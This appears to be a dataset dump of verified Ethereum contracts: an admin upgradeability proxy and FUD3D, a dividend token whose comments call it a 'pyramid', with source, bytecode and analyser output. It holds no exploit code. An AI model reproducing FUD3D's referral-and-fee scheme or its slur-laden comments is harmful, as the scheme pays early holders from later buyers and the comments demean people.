address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x5dce29e92b1b939f8e8c60dcf15bde82a85be4a9
|
/**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,400 |
0xb633db4713148d16fe2b9e499fac6c6b8419597a
|
pragma solidity ^0.4.20;
contract FUDContract {
/*=================================
= MODIFIERS =
=================================*/
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
bool isReinvest,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn,
uint256 estimateTokens,
bool isTransfer
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "FUD3D";
string public symbol = "FUD";
uint8 constant public decimals = 18;
/// @dev 10% dividends for token purchase
uint8 constant internal entryFee_ = 10;
/// @dev 1% dividends for token transfer
uint8 constant internal transferFee_ = 1;
/// @dev 10% dividends for token selling
uint8 constant internal exitFee_ = 10;
/// @dev 15% masternode
uint8 constant internal refferalFee_ = 15;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev 250 FUD needed for masternode activation
uint256 public stakingRequirement = 250e18;
/*=================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
// administrator list
address internal owner;
mapping(address => bool) public administrators;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
constructor()
public
{
// add administrators here
owner = msg.sender;
administrators[owner] = true;
}
/// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral (if any)
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy, false);
}
/**
* @dev Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function() payable public {
purchaseTokens(msg.value, 0x0, false);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0, true);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw(false);
}
/// @dev Withdraws all of the callers earnings.
function withdraw(bool _isTransfer) onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
uint256 _estimateTokens = calculateTokensReceived(_dividends);
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends, _estimateTokens, _isTransfer);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
/**
* @dev Transfer tokens from the caller to a new holder.
* Remember, there's a 1% fee here as well.
*/
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw(true);
}
// liquify 1% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
/*=====================================
= HELPERS AND CALCULATORS =
=====================================*/
/**
* @dev Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* @dev Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy, bool _isReinvest) internal returns (uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, _isReinvest, now, buyPrice());
return _amountOfTokens;
}
/**
* @dev Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
/**
* @dev Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x60806040526004361061011c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461012b57806306fdde031461018257806310d0ffdd1461021257806318160ddd14610253578063226093731461027e578063313ce567146102bf5780634b750334146102f057806356d399e81461031b578063688abbf7146103465780636b2f46321461038957806370a08231146103b457806376be15851461040b5780638620410b14610466578063949e8acd1461049157806395d89b41146104bc578063a810a54c1461054c578063a9059cbb1461057b578063e4849b32146105e0578063e9fad8ee1461060d578063f088d54714610624578063fdb5a03e1461066e575b61012834600080610685565b50005b34801561013757600080fd5b5061016c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a80565b6040518082815260200191505060405180910390f35b34801561018e57600080fd5b50610197610b22565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101d75780820151818401526020810190506101bc565b50505050905090810190601f1680156102045780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021e57600080fd5b5061023d60048036038101908080359060200190929190505050610bc0565b6040518082815260200191505060405180910390f35b34801561025f57600080fd5b50610268610c02565b6040518082815260200191505060405180910390f35b34801561028a57600080fd5b506102a960048036038101908080359060200190929190505050610c0c565b6040518082815260200191505060405180910390f35b3480156102cb57600080fd5b506102d4610c5f565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102fc57600080fd5b50610305610c64565b6040518082815260200191505060405180910390f35b34801561032757600080fd5b50610330610ccb565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b50610373600480360381019080803515159060200190929190505050610cd1565b6040518082815260200191505060405180910390f35b34801561039557600080fd5b5061039e610d3d565b6040518082815260200191505060405180910390f35b3480156103c057600080fd5b506103f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d5c565b6040518082815260200191505060405180910390f35b34801561041757600080fd5b5061044c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da5565b604051808215151515815260200191505060405180910390f35b34801561047257600080fd5b5061047b610dc5565b6040518082815260200191505060405180910390f35b34801561049d57600080fd5b506104a6610e2c565b6040518082815260200191505060405180910390f35b3480156104c857600080fd5b506104d1610e41565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105115780820151818401526020810190506104f6565b50505050905090810190601f16801561053e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055857600080fd5b50610579600480360381019080803515159060200190929190505050610edf565b005b34801561058757600080fd5b506105c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110a5565b604051808215151515815260200191505060405180910390f35b3480156105ec57600080fd5b5061060b600480360381019080803590602001909291905050506113ca565b005b34801561061957600080fd5b50610622611619565b005b610658600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611682565b6040518082815260200191505060405180910390f35b34801561067a57600080fd5b50610683611696565b005b60008060008060008060008060003397506106ae6106a78d600a60ff1661180c565b6064611847565b96506106c86106c188600f60ff1661180c565b6064611847565b95506106d48787611862565b94506106e08c88611862565b93506106eb8461187b565b92506801000000000000000085029150600083118015610717575060065461071584600654611904565b115b151561072257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff161415801561078b57508773ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff1614155b80156107d85750600254600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1561086e57610826600460008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487611904565b600460008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610889565b6108788587611904565b945068010000000000000000850291505b600060065411156108f4576108a060065484611904565b6006819055506006546801000000000000000086028115156108be57fe5b046007600082825401925050819055506006546801000000000000000086028115156108e657fe5b0483028203820391506108fc565b826006819055505b610945600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611904565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836007540203905080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508a73ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fc83715e038ec5bec49b994d2aad02d046a8bed3d70fd8213bb849e43e971fe728e868e42610a39610dc5565b60405180868152602001858152602001841515151581526020018381526020018281526020019550505050505060405180910390a382985050505050505050509392505050565b600068010000000000000000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007540203811515610b1a57fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bb85780601f10610b8